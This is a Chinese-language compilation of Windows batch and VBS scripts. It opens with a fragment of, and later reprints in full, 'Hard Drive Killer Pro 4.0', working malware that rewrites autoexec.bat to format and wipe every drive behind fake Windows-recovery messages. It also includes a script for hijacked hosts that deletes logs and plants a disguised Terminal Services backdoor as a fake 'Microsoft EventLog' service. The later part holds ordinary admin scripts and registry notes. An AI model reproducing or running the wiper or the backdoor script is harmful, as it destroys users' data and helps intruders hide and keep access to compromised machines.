echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
No.7
七、致谢&一些废话
谨以此文献给所有为实现网络的自由与共享而努力的朋友们。感谢所有共享他们作品的朋友们,让我们为我们的理想一起努力!!
部分内容来自Ex4rchhttp://www.sometips.com(很好的一个...淙幌缘糜械闼缮?/a>^_^)。再次特别感谢!
如何通过批处理文件来监视你的服务器
Author: joyadam@myrealbox.com
Date: 2002-4-13 15:05:33
昨天在微软的网站上看到了一个命令行方式下的端口扫描工具,down下来看了看,(你也可以在http://www.sometips.com/soft/portqry.exe下载)觉得这玩艺就操作性而言比其他同类产品差得太多,仔细一瞧,突然它居然有一个返回值的功能,这样岂不是可以在批处理文件里面来使用,呵呵,于是乎就写了个小小的脚本,希望能对大家有所帮助。
C:\scripts>type monitor.cmd
@echo off
setlocal
if {%1}=={} goto noparms
if {%2}=={} goto noparms
REM Please copy portqry.exe to the same folder with monitor.cmd.
portqry -n %1 -e %2 -q
IF %ERRORLEVEL% EQU 1 goto down
IF %ERRORLEVEL% EQU 0 goto up
:noparms
echo Usage: monitor.cmd ServerIP PortNumber
goto end
:up
echo The %2 port is listening on %1...
goto end
:down
echo The %2 port is not listening on %1...
goto end
:end
执行该脚本的结果:
C:\scripts>monitor.cmd
Usage: monitor.cmd ServerIP PortNumber
C:\scripts>monitor.cmd bbs.nsfocus.com 80
The 80 port is listening on bbs.nsfocus.com...
C:\scripts>monitor.cmd bbs.nsfocus.com 79
The 79 port is not listening on bbs.nsfocus.com...
注:你可以根据你自己的需要对这个脚本进行改动,Hope it helps...
附上PortQry的用法:
PortQry Usage:
PortQry.exe -n server [-p protocol] [-e || -r || -o endpoint(s)]
[-l logfile] [-s] [-q]
Where:
-n [server] IP address or name of server to query
-p [protocol] TCP or UDP or BOTH (default is TCP)
-e [endpoint] single port to query (valid range: 1-65535)
-r [end point range] range of ports to query (start:end)
-o [end point order] range of ports to query in an order (x,y,z)
-l [logfile] name of log file to create
-s 'slow link delay' waits longer for UDP replies from remote systems
-q 'quiet' operation runs with no output
returns 0 if port is listening
returns 1 if port is not listening
returns 2 if port is listening or filtered
Notes:
This version runs on Windows 2000 and Windows XP
Defaults: TCP, port 80, no log file, slow link delay off
Hit Ctrl-c to terminate prematurely
一个Reboot的bat文件,应该可以在Windows所有系统下适用
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:39
@echo off
echo welcome to http://www.sometips.com/
setlocal
cd/d %temp%
echo [version] > reboot.inf
set inf=InstallHinfSection DefaultInstall
echo signature=$chicago$ >> reboot.inf
echo [defaultinstall] >> reboot.inf
rundll32 setupapi,%inf% 1 %temp%\reboot.inf
del reboot.inf
监视event log的脚本
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:36
'=====================================================
'FileName: eventmon.vbs
'Usage: cscript enentmon.vbs
'Author: joyadam@myrealbox.com
'HomePage: http://www.sometips.com/
'Date: 2001-05-13
'Comment: This Script will monitor your event log, I have tested on Win2K Server.
'=====================================================
Set Events = _
GetObject("winmgmts:{(Security)}\\.\root\cimV2").ExecNotificationQuery ("select * from __InstanceCreationEvent WHERE TargetInstance ISA " _
& "'Win32_NTLogEvent'")
Do
Set NTEvent = Events.nextevent
WScript.Echo NTEvent.TargetInstance.Message
Loop
查看主机变量的VBS,包括系统、进程、用户等的环境变量
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:35
'=====================================================
'FileName: envar.vbs
'Usage: cscript envar.vbs
'Author: joyadam@myrealbox.com
'HomePage: http://www.sometips.com/
'Date: 2001-04-28
'Comment: This Script will query the environments on your machine.
'=====================================================
Set shellobj = CreateObject("WScript.Shell")
WScript.Echo "System environments variables..."
Wscript.Echo "=================================================="
For Each envvar In shellobj.Environment("SYSTEM")
WScript.Echo envvar
Next
WScript.Echo vbCrLf & "Process environments variables..."
Wscript.Echo "=================================================="
For Each envvar In shellobj.Environment("PROCESS")
WScript.Echo envvar
Next
WScript.Echo vbCrLf & "USER environments variables..."
Wscript.Echo "=================================================="
For Each envvar In shellobj.Environment("USER")
WScript.Echo envvar
Next
WScript.Echo vbCrLf & "VOLATILE environments variables..."
Wscript.Echo "=================================================="
For Each envvar In shellobj.Environment("VOLATILE")
WScript.Echo envvar
Next
Su2System.vbs
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:31
在日常工作中,我们需要切换到SYSTEM用户去做一些事情,比如说看注册中SAM的值...
我经常使用的方法就是用schedule来切换,而叮叮这个破人喜欢用add service的方式切换,为了方便,我写了一个vbs来实现这个过程!当然,这里没有什么提升权限的概念哦,因为必须管理员运行才可以的!
'=====================================================
'FileName: su2system.vbs
'Usage: cscript su2system.vbs
'Author: joyadam@myrealbox.com
'HomePage: http://www.sometips.com/
'Date: 2001-04-05
'Comment: This script will let you change your UID to
' NT AUTHORITY\SYSTEM, you must run it by Administrator.
'=====================================================
On Error Resume Next
Set objNet = WScript.CreateObject( "WScript.Network" )
Set ServiceObj = GetObject("WinNT://" & objNet.ComputerName & "/schedule")
if ServiceObj.Status=1 then
ServiceObj.start
end if
aHour = hour(now)
aMinute = minute(now)+"1"
set wshshell = createobject ("wscript.shell")
wshshell.run ("at " & aHour & ":" & aMinute & ":" & aSecond & " " & "/interactive cmd.exe")
Wscript.echo "Waiting for the cmd window for NT AUTHORITY\SYSTEM at " & aHour & ":" & aMinute & "..."
查询主机Hot-Fix的脚本--Patch.vbs
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:30
'=====================================================
'FileName: patch.vbs
'Usage: cscript patch.vbs
'Author: joyadam@myrealbox.com
'HomePage: http://www.sometips.com/
'Date: 2001-03-25
' Update at 2001-03-28
'Comment: This Script will query the patch which has installed
' on your machine.
'=====================================================
winmgmt1 = "winmgmts:{impersonationLevel=impersonate}!//"& ComputerName &""
Set SPSet = GetObject( winmgmt1 ).InstancesOf ("Win32_OperatingSystem")
WScript.Echo "====================================================="
WScript.Echo "Computer Operating System Properties for " & ""& ComputerName &""
WScript.Echo "====================================================="
For each SP in SPSet
WScript.Echo "Operating System: " & SP.Name
WScript.Echo "Install Date: " & left (cstr(SP.installdate),4) & "-" & mid (cstr(SP.installdate),5,2) & "-" & mid (cstr(SP.installdate),7,2)
WScript.Echo "Build Number: " & SP.BuildNumber
WScript.Echo "Build Type: " & SP.CSDVersion
next
'Sub GetHotfixInfos() '获取已安装的Hot-Fixes信息
winmgmt = "winmgmts:{impersonationLevel=impersonate}!//"& ComputerName &""
Set QFESet = GetObject( winmgmt).InstancesOf ("Win32_QuickFixEngineering")
WScript.Echo "====================================================="
WScript.Echo "The following HotFixes have been Installed:"
For each QFE in QFESet
WScript.Echo QFE.HotFixID
WScript.Echo QFE.FixComments
Wscript.Echo "Please visit http://support.microsoft.com/support/kb/articles/" & left(QFE.HotFixID,4) & "/" & mid(QFE.HotFixID,5,1) & "/" & right(QFE.HotFixID,2) & ".ASP"
Wscript.Echo QFE.ServicePackInEffect
Wscript.Echo "-----------------------------------------------------"
next
'End Sub
用VBS批量修改某个OU中用户的属性-modify.vbs
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:29
Dim oContainer
Set oContainer=GetObject("ldap://OU/=工程部,OU=公司,DC=staff,DC=nsfocus,DC=com")
ModifyUsers oContainer
'cleanup
Set oContainer = Nothing
WScript.Echo "Finished"
Sub ModifyUsers(oObject)
Dim oUser
oObject.Filter = Array("user")
For Each oUser in oObject
oUser.Put "st","北京"
oUser.Put "streetAddress","北三环东路8号"
oUser.Put "postalCode","100028"
oUser.Put "l","北京"
oUser.SetInfo
Next
End Sub
用VBS导出AD中某一个OU中的用户-output.vbs
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:24
'=====================================================
'output.vbs
'Author: Adam
'Date: 2001-03-07
'Comment: 使用前必须修改oContainer的值
''=====================================================
Dim OutPutFile
Dim FileSystem
'Initialize global variables
Set FileSystem = WScript.CreateObject("Scripting.FileSystemObject")
Set OutPutFile = FileSystem.CreateTextFile("users.txt", True)
Set oContainer=GetObject("ldap://OU/=公司,DC=staff,DC=nsfocus,DC=com")
'Enumerate Container
EnumerateUsers oContainer
'Clean up
OutPutFile.Close
Set FileSystem = Nothing
Set oContainer = Nothing
WScript.Echo "Finished"
WScript.Quit(0)
Sub EnumerateUsers(oCont)
Dim oUser
For Each oUser In oCont
Select Case LCase(oUser.Class)
Case "user"
If Not IsEmpty(oUser.distinguishedName) Then
OutPutFile.WriteLine "dn: " & oUser.distinguishedName
End If
If Not IsEmpty(oUser.name) Then
OutPutFile.WriteLine "name: " & oUser.Get ("name")
End If
'need to do this because oUser.name would get back the Relative Distinguished name (i.e. CN=Jo Brown)
If Not IsEmpty(oUser.st) Then
OutPutFile.WriteLine "st: " & oUser.st
End If
If Not IsEmpty(oUser.streetAddress) Then
OutPutFile.WriteLine "streetAddress: " & oUser.streetAddress
End If
Case "organizationalunit" , "container"
EnumerateUsers oUser
End Select
OutPutFile.WriteLine
Next
End Sub
Windows 下的“Which”命令
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:21
在Linux下,有一个命令叫做which,它可以在Path中寻找某个命令所在的目录并显示出来。
Linux下:
[adam@isbase adam]$ which ls
/bin/ls
[adam@isbase adam]$ which rm
/bin/rm
在NT的Resource Kit中有一个where.exe,他也有相同的功效,不过一套Resource Kit要300美元,在这里我们可以作一个批处理文件来实现这个功能。
使用记事本编辑一个which.bat,并将其存放在Winnt目录或者其他Path变量中的目录里,该批处理文件的内容如下:
@echo off
Rem 检查命令行参数
if {%1}=={} goto :Usage
for %%i in ({ {/ {-) do if {%1}==%%i?} goto :Usage %%i
echo.
:Rem 在当前目录检查看是否存在该文件
for %%i in (%1) do if exist %%~nx%i (
echo %%~Fi
goto :EOF
)
:Rem 在Path中检查该文件
for %%i in (%1) do (
if exist %%~$PATH:i (
echo %%~$PATH:i
) else (
echo Error: %1 不在路径里!!!
goto :Usage
)
)
goto :EOF
:Usage
echo.
echo WHICH "filename"
echo.
echo 输入文件明,返回该文件的全路径!
echo.
我们来对我们的程序作一个测试:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
C:\>which
WHICH "filename"
输入文件明,返回该文件的全路径!
C:\>which cmd.exe
C:\WINNT\system32\cmd.exe
C:\>
OK,测试通过!
Sendmail.vbs
Author:
Date: 2002-1-13 18:34:11
'--------------------------------------------------
'Sends email from the local SMTP service using CDONTS objects
' Usage:
' sendmail -t <to> -f <from> -s "<subject>" -b "<message>"
' sendmail [-help|-?]
'
'--------------------------------------------------
Option Explicit
On Error Resume Next
Dim objSendMail, oArgs, ArgNum
Dim strTo, strFrom, strSubject, strBody
Set oArgs = WScript.Arguments
ArgNum = 0
While ArgNum < oArgs.Count
Select Case LCase(oArgs(ArgNum))
Case "-to","-t":
ArgNum = ArgNum + 1
strTo = oArgs(ArgNum)
Case "-from","-f":
ArgNum = ArgNum + 1
strFrom = oArgs(ArgNum)
Case "-subject","-s":
ArgNum = ArgNum + 1
strSubject = oArgs(ArgNum)
Case "-body","-b":
ArgNum = ArgNum + 1
strBody = oArgs(ArgNum)
Case "-help","-?":
Call DisplayUsage
Case Else:
Call DisplayUsage
End Select
ArgNum = ArgNum + 1
Wend
If oArgs.Count=0 Or strTo="" Or strFrom="" Or _
strSubject="" Or strBody="" Then
Call DisplayUsage
Else
Set objSendMail = CreateObject("CDONTS.NewMail")
objSendMail.From = strFrom
objSendMail.To = strTo
objSendMail.Subject = strSubject
objSendMail.Body = strBody
objSendMail.Send
Set objSendMail = Nothing
End If
' Display the usage for this script
Sub DisplayUsage
WScript.Echo "Usage:"
WScript.Echo " sendmail -t <to address> -f <from address> -s " & _
Chr(34) & "<subject>" & Chr(34) & " -b " & Chr(34) & _
"<message body>" & Chr(34)
WScript.Echo " sendmail [-help|-?]"
WScript.Echo ""
WSCript.Quit
End Sub
安全启动时所启动的服务列表在注册表中的位置
Author: Adam
Date: 2002-1-13 18:35:00
当系统启动到“安全模式(Safe Mode)”和“命令行安全模式(Safe Mode with Command Prompt)”时,所启动的服务列表可以在下面的注册表键得到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal
当系统启动到“有网络的安全模式(Safe Mode with Networking)”时,所启动的服务列表可以在下面的注册表键得到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network
Windows 下的注册表
Author: B.D.
Date: 2002-1-13 18:34:59
Agreement:
==========
The author of this document will not be responsible for any damage and/or
license violation that may occur. The information within this document is
provided "as is" without warranty of any kind...
This information was "collected" during sleepless nights, and is NOT
officially released by Microsoft! It shall give you a peek at the Windows(tm)
internals to give you a chance to recover from corrupted data.
The author has nothing to do with Microsoft, except that he uses their
products...
If you don't agree with this, stop reading this document, and delete it at
once!
History:
========
What is the registry? Where did it came from? Two questions, which I will try to
answer here. The registry is a database (at least microsoft thinks so:)
which contains configuration information about the system.
It mainly is a memory dump which is saved to one or more files on the windows
host drive. It is loaded every system-boot and remains resident until
shutdown. Since parts of it are not used during normal operation it will be
swapped out very soon. The registry appeared with windows 3.?? (sorry, I can't
remember any earlier version :-), where it was used for file associations and
the "OLE" functions (the conection between ole-id's and the applications).
This is a critical information and since the registry has (almost) NO
CHECKSUM information (!), it sometimes gets corrupted. This is the main
reason for this doc.
Using windows 3.x, almost every configuration was done using good old ".INI"-
files, which were readable but slow and limited in size (64k). In windows 95
(and NT), the registry was used instead of these files. So, to edit a
particular setting, you would have to run the application which manages these
settings. :( but what if this app won't start? MS included a tool named
REGEDIT in windows 3.?? and 95, and a REGEDT32 in windows NT. You can use
these apps to edit ALL contents of the registry (in windows NT the registry
supports security, as well as it provides the security for the whole system!)
An application can open a "key", write values (variables) to it and fill them
with data. Each key represents also a value called "default" and can contain
any number of sub-keys. This will form a tree-structure as you can see at
the left half of REGEDIT. (note: REGEDIT from windows 3.?? has to be started
with /V or /Y, I can't remember now)
Where can I find the registry???
================================
That differs for each windows-version:
Version File(s) Contents
3.1x REG.DAT Complete windows 3.?? Registry
95 SYSTEM.DAT System-values (HKEY_LOCAL_MACHINE)
USER.DAT User-values (HKEY_USERS)
NT SYSTEM32\CONFIG\SAM SAM-part of the registry (=NT Security)
SYSTEM32\CONFIG\SOFTWARE Software-Specific part
(HKEY_LOCAL_MACHINE\SOFTWARE)
SYSTEM32\CONFIG\SYSTEM System-specific part
(HKEY_LOCAL_MACHINE\System)
